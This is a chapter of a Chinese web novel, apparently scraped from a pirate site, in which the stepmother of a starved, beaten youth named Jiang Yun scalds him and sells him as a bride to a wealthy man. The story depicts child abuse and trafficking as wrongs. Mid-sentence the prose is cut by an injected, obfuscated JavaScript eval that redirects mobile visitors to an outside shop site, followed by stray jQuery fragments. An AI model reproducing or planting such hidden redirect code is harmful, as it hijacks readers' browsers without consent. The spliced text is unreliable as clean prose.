自打收税后,刘桂花要求江云每日只能吃一顿饭,且还是没有米的白水菜汤。每每醒来,江云都被饿地头晕眼花。
这天早上,天还没亮,锅碗瓢盆的声音吵醒了江云。
夜里柴房蚊子最多,蚊帐是麻布做的,在乡下也是金贵的东西,家里只有江墨的床挂了有。一晚上蚊子嗡嗡地叫,加上饥饿感让江云难以入睡,手臂和白皙的小腿上都是指甲大的疙瘩。
他迷迷糊糊睁开眼,透过破窗看到外面星河明亮。天还没亮,厨房的叮铃哐啷的声音是哪来的?
江云以为自己是在做梦,因为刘桂花是绝计不会这么早起来做饭的。难道进了贼?村里也有很多连税都交不起的流浪汉,每年这个时候总会偷偷摸摸进别人院子偷东西。
若东西丢了,刘桂花抓不住小偷,第一个打的就是他。
江云心里害怕,却知道不能让小偷得逞,他忍着眩晕感爬起来,手里颤颤巍巍拿起根棍子,小心走向厨房。
厨房透出微弱的光亮,油灯的火光一闪一闪的,灶台后倒映的是烧柴火的明亮光线。
他不可置信地看着厨房里忙碌的刘桂花。
刘桂花自然也注意到门口的江云,暗自撇了撇嘴。下一瞬就扬起夸张的笑:“醒了呀,正好,娘给你烧了热水。你待会儿好好洗个澡,换身衣服。”笑完连她自己都觉得慎得慌。
热水咕噜咕噜冒着泡,刘桂花的笑在江云看来并不觉得温暖,反倒在阴暗的灶前显出诡异阴森。
这么多年的殴打和谩骂早让他对刘桂花心生惧怕,直觉告诉江云刘桂花一定憋着事。
他手指紧紧抓住门框,眼神直勾勾看着刘桂花,过度惊恐让他呼吸急促。
刘桂花有些不耐烦,把热水兑好之后看见江云还站在门口呆愣着,干脆直接把人扯过来按在热水里。
热水是烫的,足见刘桂花连水温都懒得试,拉扯的疼痛和水的滚烫让江云直接哭了出来。
“对不起,我、我错了。”他不知道自己做错了什么,但这些年都是这样,服软才能换来刘桂花的停手。
刘桂花不理会江云的哭喊,直接一瓢水从江云头顶灌下。
没好气吼道:“赶紧洗,待会儿别慢待了贵人!”
她甩门离去,江墨在外面偷偷看着,见刘桂花出来把人拉到一旁问:“这样做没问题吧?”
“能有什么问题,他一个小蹄子还能翻出天不成?等贵人来了一见,绳子一捆带走,天王老子都救不了他。”
刘桂花和江墨对视,眼里是算计和莫测的笑。
等到天彻底翻了鱼肚白,村口也大摇大摆走来一行人。
这些人中带头的中年男人衣着华贵,后面是跟着的下人丫鬟,浩浩荡荡排场不小。
为首的被称为刘老爷,下人恭敬地带路:“那家人就在这,再往里走一柱香就到了。”
刘老爷在村子门口站了片刻,眼底尽是嫌弃,皱紧眉头:“你找的都是什么地方?深山野林的可配不上我儿。”
下人谄媚笑道:“可找人算了八字,绝对是匹配的,与咱们少爷肯定合得来。”
“也罢也罢,就这样了,只是可怜了我的儿。”
一行人正好和从县上回来的顾承武碰上。
顾承武身量修长,一双手牢牢抓住马鞍,双腿夹在马腹两侧。自上而下打量眼前一行人,冷峻的目光扫视过他们。
刘老爷被这道足有威慑力的眼神扫地呼吸一滞,心想一个年轻后生怎能有这么强大的杀伐之气?
他不敢多看,心里装着事,便带着下人行色匆匆朝着村里走去。
刘桂花和江墨早就殷切地等着了,看到人的时候刘桂花心里一咯噔,赶紧推着江墨回自己房间,并嘱咐:“千万别出来,若让他们瞧上了你,这事儿就糟了。”
江墨也是害怕的很,躲鬼似地躲进了自己房间,把门窗关的死死的。
“哎哟刘老爷,您辛苦一路了,快坐下休息休息,我给您倒杯茶。”刘桂花殷切伺候着,比后面刘老爷带的下人更像下人。
刘老爷嫌弃似的瞟了眼院子,喝不下这口劣茶,直接甩手:“人呢?带出来我看看。”
“人在人在,我这就带他出来给您瞧瞧。”
她匆匆进了厨房门,朝江云腰间狠狠揪了一下江云,警告道:“我告诉你,今天来的可是贵人,你要是冒犯了他们,我打死你!”
刘桂花仿佛一头张开血盆大口的猛兽。
江云无声垂泪,都到这个时候了,他又如何猜不出来的人是谁?刘桂花终于按耐不住,要把他卖了吗?
“我、我不去。娘,我以后一定好好孝顺你,求你别卖我……”纵然知道求情没用,江云还是抱着那点可笑的幻想。
刘桂花甩了江云一巴掌,低声威胁:“你个小蹄子,要是不听话搞砸了老娘的事,明天就把你送到村里老鳏夫那!”
村里老鳏夫已经七十多岁了,一口黄牙整日酗酒,眼神也下流。他那媳妇,就是被他喝了酒打死了。没钱喝酒了,连自己六岁的儿子也能卖。
无论如何对江云来说都是死路一条。
江云哭喊着挣扎,想制造动静吸引邻居的注意。可刘桂花力气太大,用手死死捂着他嘴巴。
他哭不出来,一身狼狈被拖到那个刘老爷面前。
厨房的动静自然惊动了刘老爷,不过他才不管江云是不是愿意,直接招呼手下人的来验货。
江云双手被扣着,嘴里塞着布团发不出声,泪水打湿了胸前的衣服。
那些婆子的手把他从上到下摸了个遍,最后给刘老爷确认眼神:“身子是完好的,没病。”
刘老爷捋了捋胡须:“就是瘦了些,终归有些配不上。”
听完他说的话,刘桂花一咯噔,干净攥住自己的金主道:“不瘦不瘦,吃几天就养回来了,脸上抹些胭脂也好看不是?”
这么一说,刘老爷也觉得有道理,手一挥,下人拿出白花花的银锭。
“这是三十两银子,等事成时候,剩下的三十两立刻结清。”
看着白花花的银锭,刘桂花这辈子也没见过这么多钱,看的她眼都红了。
“这几天人就先放你们这养着,等吉时一到,我儿立刻前来迎亲。可得把人看好了,若是跑了,你们是知道手段的。”
威胁加利诱,让刘桂花点头哈腰保证。刘老爷带着下人满意离去,刘桂花阴狠的目光死死看着江云。
江云舌头已经在挣扎中咬出血,血染红了嘴里的布团。
他被刘桂花用一根麻绳捆住手脚,扔进柴房里,
柴房门砰的一声关上,江云看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616639|143462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
向太阳的目光也逐渐灰暗。他头发凌乱,像物品一样被扔在地上,无论怎么反抗,也救不了自己。
之前的十几年忽然像走马灯一样在眼前闪照,他已记不起母亲的面容,更忘记了小时候爹也是把他举在头顶逗过他笑的,为什么一切都变了?
刘桂花来后,他的人生应该已经在六岁那年就死过一次了。
隔着一扇门,刘桂花和江墨着了魔一样看着三十两银子。
江墨高兴地跳脚:“等以后儿子嫁到镇上,就把你和爹都接过去。”
“好好好,我儿就是孝顺。”
两人对视笑着,江顺德却突然出现在门前,伸出手一副当家主人的样子:“这钱先放我着,你一个妇人拿着也容易被偷了。”
他就是想把钱捏着自己手里,才不叫妇人压在自己头上。
刘桂花舍不得银子,却也拗不过家里男人,不情不愿塞到江顺德手里。
江家来了贵人的事情,不到一盏茶就传到村里妇人的耳朵里了。
王云凤作为瓜田里的猹,自然冲在吃瓜前线。
她撇下手里的绣花绷子,急匆匆往下河游的贺三家去。贺三和张秀兰正坐在堂屋吃饭,一点杂粮粥配点腌豇豆就对付过去了。
贺三风卷残云吃完一碗,道:“今年收成好,交完税还有多的,也不拘着吃了,改名蒸上一笼馒头,咱也吃个够。”
前几天天旱,地里粮食不多,村里家家户户都过了几年吃了上顿没下顿的日子。贺三为了一个家庭的生计,不分昼夜打苦工,也算是饿怕了。
张秀兰也是心疼自家男人,乐呵呵道:“行!蒸他一锅!”
她吃了口豇豆,拍了拍男人的手,道:“前儿跟你说的事你放在心上没有?咱俩大小子也不大不小了,是该说个人给他,我瞧江家的就不错。”
贺三一听立刻摇头,沉脸道:“江家那个虽是个识字的,我看着却不老实,你省省吧。”
张秀兰撇了他一眼,没好气:“我说的是那个小的叫江云的。”
江云是谁?贺三一时间还想不起这号人,正要问个清楚,自家院门就被敲响了。
“他婶儿,在不在家?”
一听声音就知道是谁了,张秀兰赶紧去开门招呼人进来:“哎哟你这一大早的,什么事这么急?”
“能有什么事,这不农忙过了,找你聊会儿呗。”
虽然说的云淡风轻的,表情却出卖了她,她一个劲地“你快问你快问”的神色。
张秀兰顺坡下驴:“快说吧,让我也听听。”
于是王云凤把自己听到的看到的一五一十说了出来,连细节也没放过,诸如那刘老爷带了多少人,身上穿的什么戴的什么,口音是哪的。
她媒婆当惯了,传起消息来语气也是十分夸张的,把那刘老爷说的皇亲国戚一样。
张秀兰问:“还真让那墨哥儿说到镇上的人家了?”
王云凤一愣,她没说是江墨。不过想来那大户人家也不可能看上瘦巴巴的江云,定是江墨,于是点点头默认了。
这事一传十十传百,半天的功夫就传遍了整个村子。
张翠兰割猪草的时候也是听旁边的老夫郎提了几句,回来当个乐子说给顾承武听。
却见顾承武皱了皱眉头,眼底若有所思。